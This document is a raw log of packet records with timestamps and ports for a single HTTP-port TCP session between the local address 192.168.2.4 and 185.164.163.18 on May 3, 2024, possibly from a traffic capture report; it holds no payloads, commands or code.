May 3, 2024 23:27:42.540067911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.540082932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.540205002 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.614038944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.614075899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.614212990 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.620229959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.671840906 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.704886913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.704929113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.704976082 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.786341906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.786355972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.786405087 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.843097925 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.843173981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.843275070 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.875797033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.875936985 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:42.958699942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.958717108 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:42.958883047 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.014625072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.014638901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.014776945 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.046447992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.046509981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.046571016 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.046638012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.097019911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.097135067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.217959881 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.218020916 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.218025923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.218072891 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.269140959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.269197941 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.388180971 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.388242960 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.440303087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.484266043 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.553822041 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.609282017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.649158955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.649226904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.649271011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.775521040 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.814040899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.814080954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.814122915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.859307051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:43.984873056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.984915972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:43.985007048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.026411057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.078037977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.156440020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.156809092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.156958103 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.248003960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.296768904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.326905966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.326920033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.326970100 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.465200901 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.465265989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.493232965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.493289948 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.630796909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.663332939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.663383007 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:44.833223104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:44.833301067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.000709057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.000761986 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.052879095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.052936077 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.171384096 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.171448946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.221473932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.265539885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.338346004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.390649080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.437031031 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.484293938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.555541039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.609287024 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.649123907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.649138927 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.649190903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.776462078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.815798998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.815855026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.815860033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.953044891 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:45.982237101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.982254028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:45.982425928 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.121279001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.121324062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.121512890 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.147964001 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.147978067 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.148117065 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.288312912 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.288328886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.288492918 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.312470913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.312495947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.312601089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.453078985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.453099012 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.453171968 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.479801893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.479886055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.479934931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.479958057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.622230053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.622368097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.622550964 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.649682999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.649770021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.649868965 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.788826942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.788992882 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.816051960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.816138029 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.816178083 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.816251040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.957020998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.957143068 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.982815981 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.982908964 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:46.982933998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:46.983000994 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.007077932 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.007160902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.122445107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.122560024 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.173752069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.173862934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.287432909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.287539959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.340677977 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.340862036 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.506140947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.506254911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.674571991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.674635887 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:47.839684963 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:47.839745045 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.009829998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.009937048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.064503908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.064570904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.179888010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.231831074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.231916904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.396586895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.396671057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.396728992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.563672066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.563735008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.563766956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.563787937 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.563868046 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.563910961 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.729866028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.729959965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.730005026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.730036020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.730102062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.730138063 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.895332098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.895375967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.895390034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.895402908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:48.895425081 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:48.895448923 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.063199997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.063276052 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.063316107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.063344955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.063457012 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.063491106 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.233283043 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233330011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233381033 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.233393908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233464003 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233504057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.233520985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233575106 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.233611107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.398072004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398149967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398211002 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.398241043 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398303986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398345947 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.398412943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398485899 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.398525000 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.562819004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.562892914 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.562993050 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.563071966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.563090086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.563136101 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.563165903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.563254118 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.563296080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.733824968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.733907938 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.734015942 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.734051943 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.734062910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.734102011 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.734170914 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.734231949 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.734277010 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903625011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903640032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903652906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903714895 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903759003 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903791904 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903830051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903867006 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903887033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903911114 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903930902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:49.903937101 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:49.903979063 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.074529886 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.074580908 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.074594021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.074624062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.074630976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.074677944 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.074680090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.074731112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.074773073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.243686914 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.243701935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.243715048 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.243743896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.243757010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.243772030 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.243803978 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.296792030 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.408561945 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.408653021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.408720970 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.408746004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.408842087 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.408894062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.408927917 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.409071922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.409122944 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.461713076 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.461884975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.461937904 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.577676058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577692986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577770948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577769995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.577820063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577872992 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577877045 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.577909946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.577955008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.630166054 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.630181074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.630238056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.748272896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748287916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748399019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748411894 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748424053 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748475075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.748562098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.748609066 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.800945997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.801038980 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.801086903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.921216011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.921257019 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.921310902 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.921356916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.921407938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.921452045 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:50.972904921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:50.972984076 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.086508036 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.086549997 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.086558104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.086564064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.086590052 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.086612940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.086612940 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.086652040 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.137712955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.137763977 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.251344919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.251406908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.251441956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.251483917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.251558065 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.251696110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.251734972 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.304878950 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.359303951 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.416101933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.416539907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.416591883 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.416606903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.468669891 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.524029970 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.524087906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.524223089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.581424952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.581485033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.581572056 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.633881092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.633924007 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.634052992 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.689033985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.689122915 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.689227104 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.746895075 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.746978998 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.747071028 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.801065922 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.801081896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.801155090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.853853941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.853867054 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.853997946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.913842916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.913964033 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.914031029 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.914103985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.914117098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.914156914 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:51.968632936 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.968651056 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:51.968869925 CEST	49730	80	192.168.2.4	185.164.163.18
